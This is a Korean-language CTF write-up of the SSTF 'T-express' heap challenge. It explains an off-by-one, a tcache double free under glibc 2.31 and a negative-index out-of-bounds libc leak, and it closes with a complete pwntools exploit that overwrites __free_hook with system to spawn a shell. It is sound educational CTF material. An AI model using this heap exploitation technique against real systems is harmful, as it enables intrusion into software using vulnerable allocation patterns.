[Write-Up] SSTF T-express

머릿말

삼성에서 주최한 SSTF에 출전했습니다. 조금 늦은 감이 있지만 T-express 문제 풀이를 해볼까 합니다. T-express 바이너리를 실행하면 에버랜드 로고의 아스키 아트로 저희를 맞이해줍니다. 코로나 때문에 어디 놀러 가지도 못하고 있었는데 온라인으로 에버랜드에 가보네요. ㅎㅎ

T-express 바이너리는 glibc-2.31와 함께 주어진 Heap문제입니다. glibc-2.31는 2020년 2월에 릴리즈 된 버전인데, 저는 T-express를 풀면서 이 버전의 tcache를 처음 접해봤습니다. 이런 저조차 어렵지 않게 풀만큼 크게 어렵지 않고 재밌게 풀 수 있는 문제입니다.

[취약점]

  1. Off-By-One

  2. Double-Free

  3. Out-Of-Bound

훑어보기

프로그램의 기능은 대충 아래와 같이 요약할 수 있습니다.

  1. 티켓 구매

    • One Ride 티켓 → 메모리 할당
    • One Day 티켓 → 메모리 할당

  2. 보유 중인 티켓 보기

  3. 티켓 사용

    • One Ride 티켓 → 할당 해제
    • One Day 티켓 → 활동 선택 → 모든 활동 사용 → 할당 해제

  4. 종료

Off-By-One

구매할 수 있는 티켓의 종류는 두 가지로 나뉩니다(One Ride Ticket / One Day Ticket). 두 티켓은 3가지 차이점이 있습니다.

  1. 할당 크기
    • One Ride → 0x18
    • One Day → 0x30
  2. 티켓 타입
    • One Ride → 1
    • One Day → 0
  3. 해제 조건

0x55d222efe2a0 에는 One Ride Ticket이, 0x55d222efe2c0 에는 One Day Ticket이 할당돼있는 모습입니다. 하이라이트 된 부분을 보시면 ticket_type값이 저장된 것을 볼 수 있습니다. 여기서 집중해야 할 점은 lastname 바로 다음에 ticket_type이 존재한다는 것입니다.

lastname은 티켓이 할당된 후 함수 read_str()으로 입력을 받습니다.

함수 read_str()은 입력받은 string 끝에 NULL을 추가하는 루틴이 존재합니다. 만약 lastname에 입력받을 때 8byte를 꽉 채워 넣는다면 ticket_type의 값을 오염시킬 수 있겠죠?

One Ride Ticket의 ticket_type을 NULL(0x00)로 오염시킨 모습입니다. 그래서 이걸로 무얼 할 수 있느냐? ticket_type을 오염시켜 0으로 바꾸면 One Ride Ticket을 One Day Ticket인 것처럼 속일 수 있습니다.

함수 use_ticket()의 일부입니다. ticket_type에 따라 분기문에서 실행되는 코드가 달라집니다. One Ride Ticket에는 존재하지 않는 meal_ticket, safari_pass등의 값을 조작하는 코드를 실행할 수 있고 이는 추가로 메모리 오염을 발생시킵니다.

Double Free

glibc-2.31 버전의 tcache는 double free를 검증하는 코드가 추가 됐습니다. 여기서 재밌는 점은 크기가 같은 tcache 끼리만 검증한다는 겁니다. 만약 청크의 size를 임의로 조작할 수 있는 방법이 있다면 같은 청크를 두 번 해제할 수 있습니다.

One Ride Ticket의 ticket_type을 0x00으로 바꿔 함수 use_ticket()에서 One Day Ticket인 것처럼 사용할 수 있다고 설명했습니다. 그중 meal_ticket을 사용하면 다음 청크의 size값을 오염시킬 수 있습니다.

위에서 설명한 대로 size값을 오염시킨 모습입니다. One Day Ticket을 size가 0x41일 때 한번, 0x21일 때 한번 할당 해제를 해주면 Double Free가 되겠죠?

짠! 같은 주소가 두 번 해제됩니다. 이제 원하는 주소에 chunk를 할당해 Arbitrary Write를 할 수 있습니다.

Out-Of-Bound

구매한 티켓은 passes라는 이름의 배열로 bss영역에 저장됩니다. 각 티켓에 해당하는 chunk의 주소를 저장하고 index를 사용해 접근합니다. 위 사진은 함수 view_ticket()의 일부입니다. 자세히 보시면 index를 검사하는 분기문에서 음수에 대한 예외처리를 하지 않은 것을 확인할 수 있습니다.

만약 passes 보다 낮은 주소에 중요한 정보가 있다면 Out-Of-Bound로 출력시킬 수 있습니다. 그리고 배열 passes보다 조금 낮은 주소를 확인해 보면 stderr@@GLIBC가 있다는 걸 알 수 있습니다.

함수 view_ticket()에 -4를 index로 입력한다면 stderr@@GLIBC를 통해 libc의 base address를 leak 할 수 있습니다.

Exploit

from pwn import*

#p = remote('t-express.sstf.site', '1337')
p = process('./target')
e = ELF('./target')

#context.log_level='debug'
#gdb.attach(p)

# init
p.sendlineafter('choice: ', '1')
p.sendlineafter('(1/2): ', '1')
p.sendlineafter('First name: ', 'AAAA')
p.sendlineafter('Last name: ', 'AAAAAAAA')

p.sendlineafter('choice: ', '1')
p.sendlineafter('(1/2): ', '2')
p.sendlineafter('First name: ', 'BBBB')
p.sendlineafter('Last name: ', 'BBBB')

p.sendlineafter('choice: ', '1')
p.sendlineafter('(1/2): ', '1')
p.sendlineafter('First name: ', 'CCCC')
p.sendlineafter('Last name: ', 'CCCC')

p.sendlineafter('choice: ', '3')
p.sendlineafter('Index of ticket: ', '2')

# leak libc
p.sendlineafter('choice: ', '2')
p.sendlineafter('Index of ticket: ', '-4')

p.recvuntil('|name |    ')
pad = u64(p.recv(4)+ b'\x00\x00\x00\x00')
p.recvuntil('   ')
leak = u64(p.recv(6)+ b'\x00\x00')
libc_base = leak-0x1ec643
log.info(hex(libc_base))

free_hook = libc_base + 0x1eeb28
log.info(hex(free_hook))

system = libc_base + 0x55410
log.info(hex(system))

# double free
p.sendlineafter('choice: ', '3')
p.sendlineafter('Index of ticket: ', '1')
p.sendlineafter('(1/2/3/4):', '1')
p.sendlineafter('choice: ', '3')
p.sendlineafter('Index of ticket: ', '1')
p.sendlineafter('(1/2/3/4):', '1')
p.sendlineafter('choice: ', '3')
p.sendlineafter('Index of ticket: ', '1')
p.sendlineafter('(1/2/3/4):', '1')
p.sendlineafter('choice: ', '3')
p.sendlineafter('Index of ticket: ', '1')
p.sendlineafter('(1/2/3/4):', '2')
p.sendlineafter('choice: ', '3')
p.sendlineafter('Index of ticket: ', '1')
p.sendlineafter('(1/2/3/4):', '3')

for i in range(0x20):
	p.sendlineafter('choice: ', '3')
	p.sendlineafter('Index of ticket: ', '0')
	p.sendlineafter('(1/2/3/4):', '1')

p.sendlineafter('choice: ', '3')
p.sendlineafter('Index of ticket: ', '1')
p.sendlineafter('(1/2/3/4):', '1')
gdb.attach(p)

# AW
p.sendlineafter('choice: ', '1')
p.sendlineafter('(1/2): ', '2')
p.sendlineafter('First name: ', p64(free_hook))
p.sendlineafter('Last name: ', 'Fabu1ous')

p.sendlineafter('choice: ', '1')
p.sendlineafter('(1/2): ', '1')
p.sendlineafter('First name: ', b'/bin/sh\x00')
p.sendlineafter('Last name: ', 'Fabu1ous')

p.sendlineafter('choice: ', '1')
p.sendlineafter('(1/2): ', '1')
p.sendlineafter('First name: ', p64(system))
p.sendlineafter('Last name: ', 'Fabu1ous')

p.sendlineafter('choice: ', '3')
p.sendlineafter('Index of ticket: ', '1')

p.interactive()

Q.E.D